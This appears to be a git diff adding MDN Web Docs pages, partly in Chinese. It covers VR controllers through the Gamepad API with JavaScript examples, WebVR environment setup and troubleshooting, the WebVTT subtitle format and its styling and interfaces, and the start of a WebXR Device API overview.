This function first uses the promise-based {{domxref("Navigator.getVRDisplays()")}} method, which resolves with an array containing {{domxref("VRDisplay")}} objects representing the connected displays. Next, it prints out each display's {{domxref("VRDisplay.displayId")}} and {{domxref("VRDisplay.displayName")}} values, and a number of useful values contained in the display's associated {{domxref("VRCapabilities")}} object. The most useful of these are {{domxref("VRCapabilities.hasOrientation","hasOrientation")}} and {{domxref("VRCapabilities.hasPosition","hasPosition")}}, which allow you to detect whether the device can return orientation and position data and set up your app accordingly.

+ +

The last line contained in this function is a {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}} call, which runs the reportGamepads() function after a 1 second delay. Why do we need to do this? First of all, VR controllers will only be ready after their associated VR headset is active, so we need to invoke this after getVRDisplays() has been called and returned the display information. Second, the Gamepad API is much older than the WebVR API, and not promise-based. As you'll see later, the getGamepads() method is synchronous, and just returns the Gamepad objects immediately — it doesn't wait for the controller to be ready to report information. Unless you wait for a little while, returned information may not be accurate (at least, this is what we found in our tests).

+ +

Getting the Gamepad information

+ +

The reportGamepads() function looks like this:

+ +
function reportGamepads() {
+    var gamepads = navigator.getGamepads();
+    console.log(gamepads.length + ' controllers');
+    for(var i = 0; i < gamepads.length; ++i) {
+        var gp = gamepads[i];
+    var listItem = document.createElement('li');
+    listItem.classList = 'gamepad';
+    listItem.innerHTML = '<strong>Gamepad ' + gp.index + '</strong> (' + gp.id + ')'
+                 + '<br>Associated with VR Display ID: ' + gp.displayId
+                 + '<br>Gamepad associated with which hand: ' + gp.hand
+                 + '<br>Available haptic actuators: ' + gp.hapticActuators.length
+                 + '<br>Gamepad can return position info: ' + gp.pose.hasPosition
+                 + '<br>Gamepad can return orientation info: ' + gp.pose.hasOrientation;
+    list.appendChild(listItem);
+  }
+  initialRun = false;
+}
+ +

This works in a similar manner to reportDisplays() — we get an array of {{domxref("Gamepad")}} objects using the non-promise-based getGamepads() method, then cycle through each one and print out information on each:

+ + + +

Note that we also gave each list item containing controller information a class name of gamepad. We'll explain what this is for later.

+ +

The last thing to do here is set the initialRun variable to false, as the initial run is now over.

+ +

Gamepad events

+ +

To finish off this section, we'll look at the gamepad-associated events. There are two we need concern ourselves with — {{event("gamepadconnected")}} and {{event("gamepaddisconnected")}} — and it is fairly obvious what they do.

+ +

At the end of our example we first include the removeGamepads() function:

+ +
function removeGamepads() {
+    var gpLi = document.querySelectorAll('.gamepad');
+    for(var i = 0; i < gpLi.length; i++) {
+    list.removeChild(gpLi[i]);
+    }
+
+    reportGamepads();
+}
+ +

This function simply grabs references to all list items with a class name of gamepad, and removes them from the DOM. Then it re-runs reportGamepads() to populate the list with the updated list of connected controllers.

+ +

removeGamepads() will be run each time a gamepad is connected or disconnected, via the following event handlers:

+ +
window.addEventListener('gamepadconnected', function(e) {
+  info.textContent = 'Gamepad ' + e.gamepad.index + ' connected.';
+  if(!initialRun) {
+      setTimeout(removeGamepads, 1000);
+  }
+});
+
+window.addEventListener('gamepaddisconnected', function(e) {
+  info.textContent = 'Gamepad ' + e.gamepad.index + ' disconnected.';
+  setTimeout(removeGamepads, 1000);
+});
+ +

We have setTimeout() calls in place here — like we did with the initialization code at the top of the script — to make sure that the gamepads are ready to report their information when reportGamepads() is called in each case.

+ +

But there's one more thing to note — you'll see that inside the gamepadconnected handler, the timeout is only run if initialRun is false. This is because if your gamepads are connected when the document first loads, gamepadconnected is fired once for each gamepad, therefore removeGamepads()/reportGamepads() will be run several times. This could lead to inaccurate results, therefore we only want to run removeGamepads() inside the gamepadconnected handler after the initial run, not during it. This is what initialRun is for.

+ +

Introducing a real demo

+ +

Now let's look at the Gamepad API being used inside a real WebVR demo. You can find this demo at raw-webgl-controller-example (see it live here also).

+ +

In exactly the same way as our raw-webgl-example (see Using the WebVR API for details), this renders a spinning 3D cube, which you can choose to present in a VR display. The only difference is that, while in VR presenting mode, this demo allows you to move the cube by moving a VR controller (the original demo moves the cube as you move your VR headset).

+ +

We'll explore the code differences in this version below — see webgl-demo.js.

+ +

Accessing the gamepad data

+ +

Inside the drawVRScene() function, you'll find this bit of code:

+ +
var gamepads = navigator.getGamepads();
+var gp = gamepads[0];
+
+if(gp) {
+  var gpPose = gp.pose;
+  var curPos = gpPose.position;
+  var curOrient = gpPose.orientation;
+  if(poseStatsDisplayed) {
+    displayPoseStats(gpPose);
+  }
+}
+ +

Here we get the connected gamepads with {{domxref("Navigator.getGamepads")}}, then store the first gamepad detected in the gp variable. As we only need one gamepad for this demo, we'll just ignore the others.

+ +

The next thing we do is to get the {{domxref("GamepadPose")}} object for the controller stored in gpPose (by querying {{domxref("Gamepad.pose")}}), and also store the current gamepad position and orientation for this frame in variables so they are easuy to access later. We also display the post stats for this frame in the DOM using the displayPoseStats() function. All of this is only done if gp actually has a value (if a gamepad is connected), which stops the demo erroring if we don't have our gamepad connected.

+ +

Slightly later in the code, you can find this block:

+ +
if(gp && gpPose.hasPosition) {
+  mvTranslate([
+                0.0 + (curPos[0] * 15) - (curOrient[1] * 15),
+                0.0 + (curPos[1] * 15) + (curOrient[0] * 15),
+                -15.0 + (curPos[2] * 25)
+             ]);
+} else if(gp) {
+  mvTranslate([
+                0.0 + (curOrient[1] * 15),
+                0.0 + (curOrient[0] * 15),
+                -15.0
+             ]);
+} else {
+  mvTranslate([
+                0.0,
+                0.0,
+                -15.0
+             ]);
+}
+ +

Here we alter the position of the cube on the screen according to the {{domxref("GamepadPose.position","position")}} and {{domxref("GamepadPose.orientation","orientation")}} data received from the connected controller. These values (stored in curPos and curOrient) are {{domxref("Float32Array")}}s containing the X, Y, and Z values (here we are just using [0] which is X, and [1] which is Y).

+ +

If the gp variable has a Gamepad object inside it and it can return position values (gpPose.hasPosition), indicating a 6DoF controller, we modify the cube position using position and orientation values. If only the former is true, indicating a 3DoF controller, we modify the cube position using the orientation values only. If there is no gamepad connected, we don't modify the cube position at all.

+ +

Displaying the gamepad pose data

+ +

In the displayPoseStats() function, we grab all of the data we want to display out of the {{domxref("GamepadPose")}} object passed into it, then print them into the UI panel that exists in the demo for displaying such data:

+ +
function displayPoseStats(pose) {
+  var pos = pose.position;
+  var orient = pose.orientation;
+  var linVel = pose.linearVelocity;
+  var linAcc = pose.linearAcceleration;
+  var angVel = pose.angularVelocity;
+  var angAcc = pose.angularAcceleration;
+
+  if(pose.hasPosition) {
+    posStats.textContent = 'Position: x ' + pos[0].toFixed(3) + ', y ' + pos[1].toFixed(3) + ', z ' + pos[2].toFixed(3);
+  } else {
+    posStats.textContent = 'Position not reported';
+  }
+
+  if(pose.hasOrientation) {
+    orientStats.textContent = 'Orientation: x ' + orient[0].toFixed(3) + ', y ' + orient[1].toFixed(3) + ', z ' + orient[2].toFixed(3);
+  } else {
+    orientStats.textContent = 'Orientation not reported';
+  }
+
+  linVelStats.textContent = 'Linear velocity: x ' + linVel[0].toFixed(3) + ', y ' + linVel[1].toFixed(3) + ', z ' + linVel[2].toFixed(3);
+  angVelStats.textContent = 'Angular velocity: x ' + angVel[0].toFixed(3) + ', y ' + angVel[1].toFixed(3) + ', z ' + angVel[2].toFixed(3);
+
+  if(linAcc) {
+    linAccStats.textContent = 'Linear acceleration: x ' + linAcc[0].toFixed(3) + ', y ' + linAcc[1].toFixed(3) + ', z ' + linAcc[2].toFixed(3);
+  } else {
+    linAccStats.textContent = 'Linear acceleration not reported';
+  }
+
+  if(angAcc) {
+    angAccStats.textContent = 'Angular acceleration: x ' + angAcc[0].toFixed(3) + ', y ' + angAcc[1].toFixed(3) + ', z ' + angAcc[2].toFixed(3);
+  } else {
+    angAccStats.textContent = 'Angular acceleration not reported';
+  }
+}
+ +

Summary

+ +

This article has given you a very basic idea of how to use the Gamepad Extensions to use VR controllers inside WebVR apps. In a real app you'd probably have a much more complex control system in effect, with controls assigned to the buttons on the VR controllers, and the display being affected by both the display pose and the controller poses simultaneously. Here however, we just wanted to isolate the pure Gamepad Extensions parts of that.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webvr_api/webvr_environment_setup/index.html b/files/zh-cn/web/api/webvr_api/webvr_environment_setup/index.html new file mode 100644 index 0000000000..d3ede8add1 --- /dev/null +++ b/files/zh-cn/web/api/webvr_api/webvr_environment_setup/index.html @@ -0,0 +1,110 @@ +--- +title: WebVR环境配置 +slug: Web/API/WebVR_API/WebVR_environment_setup +translation_of: Archive/WebVR/WebVR_environment_setup +--- +

{{draft("WebVR API文档目前正在更新中以涵盖1.0版本规范, 因此这些信息中的一部分将会过时。如果你对此有任何疑问请联系 ~~chrisdavidmills。")}}

+ +

在这篇文章中, 我们将带你了解配置你的WebVR测试环境所需要做的工作 — 包括硬件和软件配置以及一些常见的错误的解决方法.

+ +

硬件

+ +

首先来看WebVR的硬件需求。

+ +

头戴式显示器与位置追踪器

+ +

目前有几款产品可作为VR头戴式显示器,其中最好的是Oculus Rift,它具有坚固的头戴式显示器和安装在三脚架或监视器上的位置追踪相机。Oculus Rift DK2 目前的零售价是350美元(约2410人民币),但是随着技术的进步和越来越多的头戴设备的出现,预计Oculus Rigt的价格会下降。

+ +

+ +

对于那些没有能力购买整套VR设备的人,也有其他便宜的产品可以选择。一个VR头戴式显示器其实就是一个高分辨率的屏幕,这个屏幕前面有一组眼镜。显示屏显示的是两个并排的有些偏移和渐晕的屏幕影像的副本,人的两眼各看其中一个,这样就给用户带来立体感,这些对于创建VR景象都是至关重要的。

+ +

+ +

你可以使用支持的浏览器去感受几近相同的体验,比如使用 Android Nightly版的火狐浏览器—— 如同谷歌的Google Cardboard的想法那样,你可以用任何能固定在头部的装置将手机固定在双眼前面,然后通过手机运行VR软件。这里主要的缺点就是没有位置追踪器,手机处理器没有桌面PC的处理器强大,所以体验上相对就没有那么真实(你转动头部的时候你可能得不到和PC上相同的体验,它有可能比较卡),但是,作为一个便宜的入门的设备,它还是不错的。

+ +

一台计算机:用于渲染VR场景

+ +

VR硬件需要提供高精度,低延迟的数据,来提供令人满意的用户体验 — 显示刷新需要达到60fps,否则,用户会觉得卡顿、抖动。为了保证达到这点,单位时间有大量的数据需要处理。因此,运行VR应用的计算机的配置要求比较高。最理想的是,你有台带独显的高配的笔记本或台式电脑,如新版MacBook Pro 15“/ 17”或Mac Pro,或Windows游戏本。如果你的电脑运行比较慢,你的体验会比较糟糕。

+ +

软件

+ +

要运行WebVR软件,你需要如下描述的软件设置。

+ +

Oculus Rift SDK

+ +

如果你使用Oculus Rift,你需要在你的系统上下载并安装 Oculus Rift SDK 。它包含了VR软件所需的运行环境和OculusWorldDemo示例软件,它对排除故障很有用。

+ +

Firefox Nightly与WebVR Enabler Add-on (或其他可替代的)

+ +

要设置浏览器,请按照下列步骤操作:

+ +
    +
  1. Firefox NightlyDeveloper Edition 都支持WebVR。如果你还没装选择其中之一安装,注意安装最新的版本。
  2. +
  3. 然后,安装 WebVR Enabler Add-on — 这将启用WebVR并禁用多处理浏览(E10S),这是一种新的Firefox浏览功能,目前与WebVR不兼容。
  4. +
  5. 最后,重启浏览器。
  6. +
+ +
+

Note: 手动开启对WebVR的支持,你可以进入 about:config 然后打开dom.vr*选项。 WebVR Enabler Add-on更加的fang方便,它一次可以完成您所需要的一切。

+
+ +
+

Note: 对于移动端用户,Android版Firefox在Nightly builds中也支持WebVR,但是现在还没优化,欢迎反馈意见。

+
+ +
+

Note: 还有可用的WebVR支持的实验性Chrome产品。 要了解更多,请查看Brandon Jones的 Bringing VR to Chrome

+
+ +

显示配置

+ +

为了获得最佳性能,以下步骤的显示器配置非常重要。 不这样做会导致过度抖动和延迟。 我们正在努力改进这些方面,使WebVR真正的即插即用,但是现在最好的结果需要手动配置。

+ +

Windows

+ +

在控制面板中,先进入Display > Screen Resolution(显示 > 屏幕分辨率). 设置:

+ + + +

+ +

然后,进入 Advanced Settings > Monitor > Monitor Settings(高级显示设置 > 监视器 > 监视器设置), 设置屏幕刷新频率为 60Hz.

+ +

+ +

Mac

+ +

首先,进入System Preferences > Displays > Display. 设置:

+ + + +

+ +

然后,进入 System Preferences > Displays > Arrangement 设置ArrangementMirrored.

+ +

+ +

故障排除

+ +

在这个部分,我们提供一些故障排除方法。

+ +
+
我的头戴式显示器或者位置追踪器相机不工作
+
尝试使用Oculus Rift SDK附带的OculusWorldDemo测试系统,如果您使用的是其他的VR硬件设备,则使用配套的测试系统。 如果您的硬件设备完全不工作,请确保已完全按照随附手册中的说明进行设置。 常见的错误包括将镜头盖留在追踪相机上和忘记插入USB电缆。
+
我的头戴式显示器或者位置追踪器相机还是不工作
+
一个常见的问题是追踪摄像机停止工作,所以你仍然可以看到图像,但它不会跟着你的头一起旋转。 提示:如果摄像机工作,相机的蓝色指示灯将亮起。 如果WebVR应用程序仍然不工作,并且OculusWorldDemo正常运行,请尝试重新启动浏览器 —— Nightly仍然处于实验性阶段,有时会出现异常。
+
即使我正确的配置了 {{anch("Display configuration")}},我看到显示的图像卡顿抖动
+
有可能是您的显卡太慢,您没有独显,或者当Oculus Rift打开时,您的计算机没有切换到显卡。 但我们不能确定适用于所有的电脑。无论哪种情况,你可以通过测试看看发生了什么,比如在Mac上使用gfxCardStatus软件来测试。 它会让你看到在什么时候集成或独显会切换,或强制使用某一个。 如果它返回消息“您正在使用gfxCardStatus不支持的系统,请确保您使用的是具有双GPU的MacBook Pro。 那么你可能没有GPU,你需要一个更快的处理器或选择容忍。 对于Windows,目前没有类似的应用程序,您必须手动进行更改。
+
我的VR设备旁的第二个监视器表现很奇怪。
+
如果你有第二个监视器(或者笔记本的外接显示器),当你使用 VR设备的时候最好将它断开,否则,有时候它会造成奇怪的问题。
+
Linux系统可以使用吗?
+
WebVR在Linux系统上目前不能使用。未完待续
+
diff --git a/files/zh-cn/web/api/webvtt_api/index.html b/files/zh-cn/web/api/webvtt_api/index.html new file mode 100644 index 0000000000..faf21ea94a --- /dev/null +++ b/files/zh-cn/web/api/webvtt_api/index.html @@ -0,0 +1,913 @@ +--- +title: Web 视频文本轨格式(WebVTT) +slug: Web/API/WebVTT_API +tags: + - API + - Media + - NeedsMarkupWork + - NeedsUpdate + - WebVTT + - 参考 + - 多媒体 + - 字幕 + - 视频 +translation_of: Web/API/WebVTT_API +--- +
{{DefaultAPISidebar("WebVTT")}}
+ +

Web视频文本跟踪格式 (WebVTT) 是一种使用{{HTMLElement("track")}}元素显示定时文本轨道(如字幕或标题)的格式。 WebVTT文件的主要用途是将文本叠加添加到{{HTMLElement("video")}}。 WebVTT是一种基于文本的格式,必须使用{{Glossary("UTF-8")}}进行编码。 在可以使用空格的地方,您也可以使用制表符。 还有一个小的API可用于表示和管理这些轨道以及在正确的时间执行文本回放所需的数据。

+ +

WebVTT 文件

+ +

WebVTT 文件的 MIME 类型为 text/vtt

+ +

一个 WebVTT 文件(.vtt) 包含任意条带时间的提示性内容cue)(可理解为一条或多条字幕),可以是单行或多行,如下所示:

+ +
WEBVTT
+
+00:01.000 --> 00:04.000
+Never drink liquid nitrogen. 别喝液氮。
+
+00:05.000 --> 00:09.000
+- 它会刺穿你的胃。
+- It will perforate your stomach.
+- 你可能会因此挂掉。
+- You could die.
+
+ +

WebVTT 文件内容

+ +

一个 WebVTT 文件的内容由以下部分组成,其中一些是可选的,依次为:

+ + + +
例子 1 - 最简形式的 WEBVTT 文件
+ +
WEBVTT
+
+ +
例子 2 - 仅有 text header 的 WebVTT 文件
+ +
WEBVTT - This file has no cues.
+
+ +
例子 3 - 拥有 header 和 cue 的 WebVTT 文件示例
+ +
WEBVTT - This file has cues.
+
+14
+00:01:14.815 --> 00:01:18.114
+- What?
+- Where are we now?
+
+15
+00:01:18.171 --> 00:01:20.991
+- This is big bat country.
+
+16
+00:01:21.058 --> 00:01:23.868
+- [ Bats Screeching ]
+- They won't get in your hair. They're after the bugs.
+
+ +

一个 WebVTT 文件的内部结构

+ +

让我们重新检查前面的一个示例,并更详细地研究线索结构。

+ +
WEBVTT
+
+00:01.000 --> 00:04.000
+- Never drink liquid nitrogen.
+
+00:05.000 --> 00:09.000
+- It will perforate your stomach.
+- You could die.
+
+NOTE This is the last line in the file
+ +

In the case of each cue:

+ + + +

我们还可以在.vtt文件中放置注释,以帮助我们记住关于文件各部分的重要信息。这些应该在单独的行上,从字符串NOTE开始。您将在下一节中找到更多关于这些的信息。

+ +

重要的是不要在提示中使用“额外的”空白行,例如在计时行和提示有效负载之间。WebVTT是基于行;空白行将关闭提示。

+ +

WebVTT 注释

+ +

Comments are an optional component that can be used to add information to a WebVTT file. Comments are intended for those reading the file and are not seen by users. Comments may contain newlines but cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a comment.

+ +

A comment cannot contain the string "-->", the ampersand character (&), or the less-than sign (<). If you wish to use such characters, you need to escape them using for example &amp; for ampersand and &lt; for less-than. It is also recommended that you use the greater-than escape sequence (&gt;) instead of the greater-than character (>) to avoid confusion with tags.

+ +

A comment consists of three parts:

+ + + +
Example 4 - 单行 WebVTT 注释
+ +
NOTE This is a comment
+
+ +
Example 5 - 多行注释
+ +
NOTE
+Another comment that is spanning
+more than one line.
+
+NOTE You can also make a comment
+across more than one line this way.
+
+ +
Example 6 - 普通注释
+ +
WEBVTT - Translation of that film I like
+
+NOTE
+This translation was done by Kyle so that
+some friends can watch it with their parents.
+
+1
+00:02:15.000 --> 00:02:20.000
+- Ta en kopp varmt te.
+- Det är inte varmt.
+
+2
+00:02:20.000 --> 00:02:25.000
+- Har en kopp te.
+- Det smakar som te.
+
+NOTE This last line may not translate well.
+
+3
+00:02:25.000 --> 00:02:30.000
+- Ta en kopp
+
+ +

Styling WebVTT cues

+ +

You can style WebVTT cues by looking for elements which match the {{cssxref("::cue")}} pseudo-element.

+ +

Within site CSS

+ +
video::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+
+video::cue(b) {
+  color: peachpuff;
+}
+
+ +

Here, all video elements are styled to use a gray linear gradient as their backgrounds, with a foreground color of "papayawhip". In addition, text boldfaced using the {{HTMLElement("b")}} element are colored "peachpuff".

+ +

The HTML snippet below actually handles displaying the media itself.

+ +
<video controls autoplay src="video.webm">
+ <track default src="track.vtt">
+</video>
+
+ +

Within the WebVTT file itself

+ +

You can also define the style directly in the WebVTT file. In this case, you insert your CSS rules into the file with each rule preceded by the string "STYLE" all by itelf on a line of text, as shown below:

+ +
WEBVTT
+
+STYLE
+::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+/* Style blocks cannot use blank lines nor "dash dash greater than" */
+
+NOTE comment blocks can be used between style blocks.
+
+STYLE
+::cue(b) {
+  color: peachpuff;
+}
+
+00:00:00.000 --> 00:00:10.000
+- Hello <b>world</b>.
+
+NOTE style blocks cannot appear after the first cue.
+ +

We can also use identifiers inside WebVTT file, which can be used for defining a new style for some particular cues in the file. The example where we wanted the transcription text to be red highlighted and the other part to remain normal, we can define it as follows using CSS. Where it must be noted that the CSS uses escape sequences the way they are used in HTML pages:

+ +
WEBVTT
+
+1
+00:00.000 --> 00:02.000
+That’s an, an, that’s an L!
+
+crédit de transcription
+00:04.000 --> 00:05.000
+Transcrit par Célestes™
+
+ +
::cue(#\31) { color: lime; }
+::cue(#crédit\ de\ transcription) { color: red; }
+ +

Positioning of text tracks is also supported, by including positioning information after the timings in a cue, as seen below (see {{anch("Cue settings")}} for more information):

+ +
WEBVTT
+
+00:00:00.000 --> 00:00:04.000 position:10%,line-left align:left size:35%
+Where did he go?
+
+00:00:03.000 --> 00:00:06.500 position:90% align:right size:35%
+I think he went down this lane.
+
+00:00:04.000 --> 00:00:06.500 position:45%,line-right align:center size:35%
+What are you waiting for?
+ +

WebVTT cues

+ +

A cue is a single subtitle block that has a single start time, end time, and textual payload. Example 6 consists of the header, a blank line, and then five cues separated by blank lines. A cue consists of five components:

+ + + +
Example 7 - Example of a cue
+ +
1 - Title Crawl
+00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start
+Some time ago in a place rather distant....
+ +

Cue identifier

+ +

The identifier is a name that identifies the cue. It can be used to reference the cue from a script. It must not contain a newline and cannot contain the string "-->". It must end with a single newline. They do not have to be unique, although it is common to number them (e.g., 1, 2, 3, ...).

+ +
Example 8 - Cue identifier from Example 7
+ +
1 - Title Crawl
+ +
Example 9 - Common usage of identifiers
+ +
WEBVTT
+
+1
+00:00:22.230 --> 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --> 00:00:34.074
+This is the second.
+
+3
+00:00:34.159 --> 00:00:35.743
+Third
+
+ +

Cue timings

+ +

A cue timing indicates when the cue is shown. It has a start and end time which are represented by timestamps. The end time must be greater than the start time, and the start time must be greater than or equal to all previous start times. Cues may have overlapping timings.

+ +

If the WebVTT file is being used for chapters ({{HTMLElement("track")}} {{htmlattrxref("kind")}} is chapters) then the file cannot have overlapping timings.

+ +

Each cue timing contains five components:

+ + + +

The timestamps must be in one of two formats:

+ + + +

Where the components are defined as follows:

+ + + +
Example 10 - Basic cue timing examples
+ +
00:22.230 --> 00:24.606
+00:30.739 --> 00:00:34.074
+00:00:34.159 --> 00:35.743
+00:00:35.827 --> 00:00:40.122
+ +
Example 11 - Overlapping cue timing examples
+ +
00:00:00.000 --> 00:00:10.000
+00:00:05.000 --> 00:01:00.000
+00:00:30.000 --> 00:00:50.000
+ +
Example 12 - Non-overlapping cue timing examples
+ +
00:00:00.000 --> 00:00:10.000
+00:00:10.000 --> 00:01:00.581
+00:01:00.581 --> 00:02:00.100
+00:02:01.000 --> 00:02:01.000
+ +

Cue settings

+ +

Cue settings are optional components used to position where the cue payload text will be displayed over the video. This includes whether the text is displayed horizontally or vertically. There can be zero or more of them, and they can be used in any order so long as each setting is used no more than once.

+ +

The cue settings are added to the right of the cue timings. There must be one or more spaces between the cue timing and the first setting and between each setting. A setting's name and value are separated by a colon. The settings are case sensitive so use lower case as shown. There are five cue settings:

+ + + +
Example 13 - Cue setting examples
+ +

The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.

+ +
00:00:05.000 --> 00:00:10.000
+00:00:05.000 --> 00:00:10.000 line:63% position:72% align:start
+00:00:05.000 --> 00:00:10.000 line:0 position:20% size:60% align:start
+00:00:05.000 --> 00:00:10.000 vertical:rt line:-1 align:end
+
+ +

Cue payload

+ +

The payload is where the main information or content is located. In normal usage the payload contains the subtitles to be displayed. The payload text may contain newlines but it cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a cue.

+ +

A cue text payload cannot contain the string "-->", the ampersand character (&), or the less-than sign (<). Instead use the escape sequence "&amp;" for ampersand and "&lt;" for less-than. It is also recommended that you use the greater-than escape sequence "&gt;" instead of the greater-than character (>) to avoid confusion with tags. If you are using the WebVTT file for metadata these restrictions do not apply.

+ +

In addition to the three escape sequences mentioned above, there are fours others. They are listed in the table below.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Table 6 - Escape sequences
NameCharacterEscape Sequence
Ampersand&&amp;
Less-than<&lt;
Greater-than>&gt;
Left-to-right mark&lrm;
Right-to-left mark&rlm;
Non-breaking space &nbsp;
+ +

Cue payload text tags

+ +

There are a number of tags, such as <bold>, that can be used. However, if the WebVTT file is used in a {{HTMLElement("track")}} element where the attribute {{htmlattrxref("kind")}} is chapters then you cannot use tags.

+ + + +

The following tags are the HTML tags allowed in a cue and require opening and closing tags (e.g., <b>text</b>).

+ + + +

Interfaces

+ +

There are two interfaces or APIs used in WebVTT which are:

+ +

VTTCue interface

+ +

It is used for providing an interface in Document Object Model API, where different attributes supported by it can be used to prepare and alter the cues in number of ways.

+ +

Constructor is the first point for starting the Cue which is defined using the default constructor VTTCue(startTime, endTime, text) where starting time, ending time and text for cue can be adjusted. After that we can set the region for that particular cue to which this cue belongs using cue.region. Vertical, horizontal, line, lineAlign, Position, positionAlign, text, size and Align can be used to alter the cue and its formation, just like we can alter the objects form, shape and visibility in HTML using CSS. But the VTTCue interface is within the WebVTT provides the vast range of adjustment variables which can be used directly to alter the Cue. Following interface can be used to expose WebVTT cues in DOM API:

+ +
enum AutoKeyword { "auto" };
+enum DirectionSetting { "" /* horizontal */, "rl", "lr" };
+enum LineAlignSetting { "start", "center", "end" };
+enum PositionAlignSetting { "line-left", "center", "line-right", "auto" };
+enum AlignSetting { "start", "center", "end", "left", "right" };
+[Constructor(double startTime, double endTime, DOMString text)]
+interface VTTCue : TextTrackCue {
+  attribute VTTRegion? region;
+  attribute DirectionSetting vertical;
+  attribute boolean snapToLines;
+  attribute (double or AutoKeyword) line;
+  attribute LineAlignSetting lineAlign;
+  attribute (double or AutoKeyword) position;
+  attribute PositionAlignSetting positionAlign;
+  attribute double size;
+  attribute AlignSetting align;
+  attribute DOMString text;
+  DocumentFragment getCueAsHTML();
+};
+ +

VTT Region interface

+ +

This is the second interface in WebVTT API.

+ +

The new keyword can be used for defining a new VTTRegion object which can then be used for containing the multiple cues. There are several properties of VTTRegion which are width, lines, regionAnchorX, RegionAnchorY, viewportAnchorX, viewportAnchorY and scroll that can be used to specify the look and feel of this VTT region. The interface code is given below which can be used to expose the WebVTT regions in DOM API:

+ +
enum ScrollSetting { "" /* none */, "up" };
+[Constructor]
+interface VTTRegion {
+  attribute double width;
+  attribute long lines;
+  attribute double regionAnchorX;
+  attribute double regionAnchorY;
+  attribute double viewportAnchorX;
+  attribute double viewportAnchorY;
+  attribute ScrollSetting scroll;
+};
+ +

Methods and properties

+ +

The methods used in WebVTT are those which are used to alter the cue or region as the attributes for both interfaces are different. We can categorize them for better understanding relating to each interface in WebVTT:

+ + + +

Tutorial on how to write a WebVTT file

+ +

There are few steps that can be followed to write a simple webVTT file. Before start, it must be noted that you can make use of a notepad and then save the file as ‘.vtt’ file. Steps are given below:

+ +
    +
  1. Open a notepad.
  2. +
  3. The first line of WebVTT is standardized similar in the way some other languages require you to put headers as the file starts to indicate the file type. One the very first line you have to write.
  4. +
+ +
WEBVTT
+ +

      3. Leave the second line blank, and on the third line the time for first cue is to be specified. For example, for a first cue starting at time 1 second and ending at 5 seconds, it is written as:

+ +
00:01.000 --> 00:05.000
+ +
    +
  1. On the next line you can write the caption for this cue which will run from 1st second to the 5th second, inclusive.
  2. +
  3. Following the similar steps, a complete WebVTT file for specific video or audio file can be made.
  4. +
+ +

CSS pseudo-classes

+ +

CSS pseudo classes allow us to classify the type of object which we want to differentiate from other types of objects. It works in similar manner in WebVTT files as it works in HTML file.

+ +

It is one of the good features supported by WebVTT is the localization and use of class elements which can be used in same way they are used in HTML and CSS to classify the style for particular type of objects, but here these are used for styling and classifying the Cues as shown below:

+ +
WEBVTT
+
+04:02.500 --> 04:05.000
+J’ai commencé le basket à l'âge de 13, 14 ans
+
+04:05.001 --> 04:07.800
+Sur les <i.foreignphrase><lang en>playground</lang></i>, ici à Montpellier
+ +

In the above example it can be observed that we can use the identifier and pseudo class name for defining the language of caption, where <i> tag is for italics.

+ +

The type of pseudo class is determined by the selector it is using and working is similar in nature as it works in HTML. Following CSS pseudo classes can be used:

+ + + +

Where p and a are the tags which are used in HTML for paragraph and link, respectively and they can be replaced by identifiers which are used for Cues in WebVTT file.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebVTT")}}{{Spec2("WebVTT")}}Initial definition
+ +

浏览器兼容性

+ +

VTTCue 接口

+ +
+ + +

{{Compat("api.VTTCue", 0)}}

+ +

TextTrack 接口

+ +
+ + +

{{Compat("api.TextTrack", 0)}}

+ +

备注

+
+
+ +

Prior to Firefox 50, the AlignSetting enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly included the value "middle" instead of "center". This has been corrected.

+ +

WebVTT was implemented in Firefox 24 behind the preference {{pref("media.webvtt.enabled")}}, which is disabled by default; you can enable it by setting this preference to true. WebVTT is enabled by default starting in Firefox 31 and can be disabled by setting the preference to false.

+ +

Prior to Firefox 58, the REGION keyword was creating {{domxref("VTTRegion")}} objects, but they were not being used. Firefox 58 now fully supports VTTRegion and its use; however, this feature is disabled by default behind the preference media.webvtt.regions.enabled; set it to true to enable region support in Firefox 58. Regions are enabled by default starting in Firefox 59 (see bugs {{bug(1338030)}} and {{bug(1415805)}}).

diff --git a/files/zh-cn/web/api/webxr_device_api/index.html b/files/zh-cn/web/api/webxr_device_api/index.html new file mode 100644 index 0000000000..e6a3bd823c --- /dev/null +++ b/files/zh-cn/web/api/webxr_device_api/index.html @@ -0,0 +1,273 @@ +--- +title: WebXR 设备 接口参考 +slug: Web/API/WebXR_Device_API +translation_of: Web/API/WebXR_Device_API +--- +

WebXR 是一组支持将渲染3D场景用来呈现虚拟世界(虚拟现实,也称作VR)或将图形图像添加到现实世界(增强现实,也称作AR)的标准。 WebXR 设备 API 实现了 WebXR 功能集的核心,管理输出设备的选择,以适当的帧速率将3D场景呈现给所选设备,并管理使用输入控制器创建的运动矢量。

+ +

WebXR-兼容性设备包括沉浸式3D运动和定位跟踪耳机,通过框架覆盖在真实世界场景之上的眼镜,以及手持移动电话,它们通过用摄像机捕捉世界来增强现实,并通过计算机生成的图像增强场景。

+ +

为了完成这些事情,WebXR 设备 API 提供了以下关键功能:

+ + + +

在最基本的层面上,通过计算应用于场景的透视图,以从每个用户的视角呈现场景,从而在3D中呈现场景,考虑到眼睛之间的常规距离,然后渲染场景两次,每只眼睛一次。然后将生成的图像(场景在一个帧上呈现两次,每只眼睛一半)显示给用户。

+ +

由于 WebGL 用于将3D世界渲染到WebXR会话中,因此您首先应该熟悉 WebGL 的一般用法以及3D图形的基本知识。您很可能不会直接使用 WebGL API,而是利用在 WebGL 之上构建的框架或库之一来使其使用更加方便。其中最流行的是three.js

+ +

